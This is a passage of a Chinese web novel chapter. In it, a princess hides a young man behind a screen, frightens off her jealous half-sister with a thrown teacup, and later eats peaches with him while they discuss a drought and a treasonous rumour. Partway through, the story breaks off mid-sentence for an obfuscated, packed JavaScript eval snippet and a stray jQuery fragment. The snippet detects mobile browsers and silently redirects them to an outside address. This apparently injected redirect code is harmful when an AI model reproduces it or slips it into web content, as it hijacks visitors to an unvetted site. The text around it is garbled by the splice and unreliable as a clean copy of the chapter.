李选向薛隽解释流霞手语的含义:“金仙公主来了。”
薛隽眉头下意识一紧,对李迢印象很坏,就要告辞:“我先回去。”
李选扣住他手腕道:“你这会儿回去正好撞上她,来。”她将鱼竿放下,带他起身,朝房内去。
冷金漆的屏风上绘着云海仙人图,其后的错金博山炉中沉香袅袅,像是画成了真,蓬莱仙雾自绢面升腾而起。
她拉着他到屏风后站定:“你在这站一会儿,我去打发她。”
薛隽觉得藏头遮尾有些古怪,但他的确不想与李迢碰面,便同意了。
李选从屏风后绕出,李迢就横冲直撞地闯进来了。如果李选不想她进来,她是进不来的。
“火气太大伤身,喝口凉茶降火。”李选亲手倒了杯茶送去。
李迢并没有接,反而四下打量,找寻什么似的。
李选好整以暇地看着她一举一动,她不喝茶,她便自己啜饮,看上去并不紧张。
李迢指使随行的宫女:“去,你们去找!”
宫女们看她一眼,又看李选一眼,犹犹豫豫的,没有立刻动作。
“找什么?”李选问。
金仙公主李迢爱排场,伺候宫人众多,前呼后拥。而李选除了流霞翠涛贴身伺候外,郑德妃与谢淑妃送来的宫人都负责伺候宫殿,并不直接服务她本人。此时此刻李迢反而人多势众。
薛隽默不作声地站在屏风后,听到李迢提及“找”字,就预感不妙。
李迢见宫人畏畏缩缩,急得顿足:“都找啊!愣着做什么!”
“李选,你与人私相授受!今日我便要去阿爷面前揭发你!”李迢冷笑道,她的人亲眼见了薛隽来找李选,她这才急冲冲地赶来。
自御驾上郑德妃赢下一局后,李迢原本对李选的怨恨更上一层楼,深以为是她向德妃告密,才使得她们母女忍气吞声,便越想报复回去。
圣驾避暑,她没带郭窈一起,不过郭窈来了也不敢给她出主意对付李选,于是她指使宫人们开动脑筋,帮她想法子报仇。
就有不知名的宫人向她谏言,上仙公主一定不是完人,不如找人盯着她,看她有什么破绽,对症下药。
李迢觉得这是个好主意,立刻叫人落实,这几日一直有人盯着李选这里。她深居浅出,让人拿不到把柄,直到薛隽寻她。
李迢认为抓住了她与薛隽私相授受的大把柄,马不停蹄风风火火地赶过来捉人。
薛隽就在这里。
“都愣着做什么!将那奸……”李迢话未说完,李选便静静看向她,让她本能地感到一阵危险,结巴一下。
“迢娘。”李选平静唤她,“好好说话。”
李迢为自己被吓得结巴而恼怒,逆反心大涨,反而不要好好说话,大叫:“奸夫!捉出来!动手!”
宫人们拖拖拉拉踌躇不定地要翻找起来,茶碗脱手而出,砸在李迢脚下,碎瓷四溅。
李迢尖叫。
她眼睁睁地看着茶碗砸来,根本躲闪不及。飞来时它甚至带风,她能感受到自己颊旁的碎发被吹起。先是恐惧,而后是庆幸,庆幸茶碗只是落在她脚下而不是她头上。
即便没有受到实质性伤害,李迢却从没被人如此粗暴地对待过。她惊恐地看向李选,像被猛兽瞄准的、毫无反抗之力的猎物。
薛隽在屏风后心脏停跳一瞬,薄唇紧抿,她动怒了吗?这一刻让他有端想到郭窈生辰那日在郭家,她严肃起来是很威严的。
李选站起,鸦雀无声。宫人们纷纷将头埋低,再不敢擅动,连呼吸都放轻了。
她向来温和,温和褪去便让人感受到始料未及的茫然与恐惧。
李迢嘴唇颤抖,整个人像被从冰水里捞起,畏惧地看着她:“你要做什么?”那种和疯子打交道的感觉重新涌了上来,她意识到自己好了伤疤忘了疼。
李选笑了一下,缓缓向李迢走去。
随着她渐渐逼近,李迢步步后退,然后被她一把捉住手腕,动弹不得。
“有没有伤着?”李选温声询问,俨然好姐姐的做派。
这份关切丝毫没能使李迢稍微放松,反而使她越发紧绷。她像一只张满的弓,随时可能弦断。
她适才还在生气……是在生气吧?地上的碎瓷昭示着一切并不是梦。
李迢双手紧握,并不回答,目不转睛地盯视着李选。但凡!但凡她有个风吹草动,她一定拔腿就跑。
“我这里没有你要找的东西。”李选居高临下地凝望着她,“迢娘,回去吧。”没有自证,只有命令。
对李迢来说,李选口中最后的三个字像是天籁。什么都顾不上,她逃也似的离开,被她带来的宫人跟着逃走,阵势同样浩荡。
远离李选暂居的庆福殿,李迢才心有余悸地大口呼吸。没了来自李选的压迫感,她的胆量渐渐回笼,脾气慢慢上来,腿则是软的。
她跑什么!明明该是李选理亏!薛隽刚刚一定就在庆福殿。可她已经离开,薛隽大约也跑了。何况薛隽就在那里,她也没什么办法。
李迢气得牙痒痒,深入骨髓的恐惧尚且没有被荡涤得一干二净。两种复杂情绪交织下,她急需一个发泄口,便恨恨地怪罪同行的宫人们:“你们是木头做的吗!看着她欺负我,动也不动!”
宫人们有口难言,两位主子间的事,她们怎好掺和,只得连声告罪。
李迢也明白这个道理,就是下不来台,需要找个对象怪罪罢了。
她恨恨地踢了几脚身边跪伏的宫女们,仍不解气,心口闷得像坠了石头。
次次在李选那里吃瘪,李迢从未受过这样的委屈。李选今日还险些打了她!她现在想想刚在茶碗向她飞来那一幕,还很心有余悸呢!
她害怕,又觉得十分丢人,被宫人们看到自己如此狼狈,她还有何颜面?有何威严?
李迢心里难受,眼泪像断了线的珠子往下掉。
庆福殿中,待李迢走后,李选向屏风后走去,对上薛隽充满关切的眼。她温和地对他笑,一如往常:“没事了,出来吧。”
薛隽轻轻看她,没从她脸上看出任何怒意,掷茶碗的仿佛不是她。但庆福殿中能摔了碗还让李迢忍气吞声的,除了她再无其他。
究其根本,是他过来给她带来了麻烦,因而他很诚恳地道歉:“抱歉,都是我连累了你。”
李选立刻打断他的道歉:“不怪你,她看不惯我,说来还是你被我牵连。”她冲他眨眨眼。
话虽如此,薛隽想的却是还是他的问题。一娘之所以一开始会和李迢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620338|202686||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
对上,是因为他。
流霞已将殿内收拾干净,二人坐下。相比于薛隽的沉默,李选仍然兴致勃勃,并不觉得被人打搅,实在是很沉稳的心态。
“一起用午食吧。”她发出邀请,“本来没胃口的,见到你很开心,就想吃东西了。”
薛隽仍为牵连她闷闷不乐,但听她难得有胃口,立刻答应一同用饭。
因是夏日,午食都是些清爽的菜色,两人分着吃刚好。用过饭,又上了冰镇的桃子。
桃子有手掌一半大小,青粉交织。已经熟透,皮轻轻一揭就掉。
薛隽自托盘取过一只桃子,入手冰凉激得他一缩,当即向她道:“等会儿再吃,凉得厉害。”女孩子吃太过生冷的食物总不太好。
他手上与冷桃子接触的地方冷得甚至隐隐发疼,不得不换用指尖将桃子托着。他看着手中的桃子,心想这时候的桃子远不及后世优选优培过,皇室得到的已经是当前时代下的顶尖品质,却比不上现代家家户户都能吃到的桃子。
不禁又想念一番现代。
李选好整以暇地注视着他略微出神的样子,好奇他在想什么,却没有打断。
薛隽很快回神,撞入她好奇眼底。但刚才所思所想不能透露给她,他便生硬地转移话题:“不那么凉了,吃桃子吗?”
李选含笑点头。
他专注地给她剥桃子皮。如果是他自己吃,是不剥皮的。
果肉绵软,丰沛多汁。
看起来不错,薛隽想着将剥好的桃子小心递去:“汁水黏手,你小心拿。”
李选用帕子裹着接过,一口下去,汁水四溢,酸甜可口。
“这次真的很甜,你尝尝。”李选笑盈盈道。
薛隽想到她为哄他吃酸李子,面不改色地忍酸,有些想笑。就算她不强调,他也不会因此对她有所防备。
桃子真的很甜。
两人各吃三个才停,李选一面净手,一面跟他闲聊:“迄今为止,长安不曾下雨,真叫人忧心。”
薛隽赞成:“我还从未见过如此大旱。”自他穿越到大宁以来,经历的诚然都是风调雨顺,鲜见此等大灾。
一念及此,他忽然想到民间传言,与一娘有关。
上仙公主为国祈福二十载,天下安定,四海升平。现在正在反面印证这谶语,公主停止祈福,上天降灾。
薛隽甩甩头,试图将荒诞想法从脑海中甩出。他是坚定的唯物主义者,不该有这种想法,环境对人的影响真大,他该时时自省。
李选擦着手道:“长安上一次大旱是一百二十四年前的事了。”
薛隽眉头微皱:“这么久远。”时移世易,发生什么都不奇怪。不过她实在博闻强记,这种事情都能具体到年份。
李选忽然神秘地对他笑:“所以二郎,你听说过一道流言吗?”
薛隽心漏跳一拍,以为她说的是她为国祈福的流言。
只听她压低声音凑近了道:“陛下做了有伤天和之事,上天降罪。”
她声音太低,他要离她很近才听得到。离得太近,他感受到她呼吸间带来的温热,微怔过后略略离远了些。反应过来她说了什么后,他震惊地看向她。
李选眨着眼看他,大逆不道的话仿佛并非出自她之口。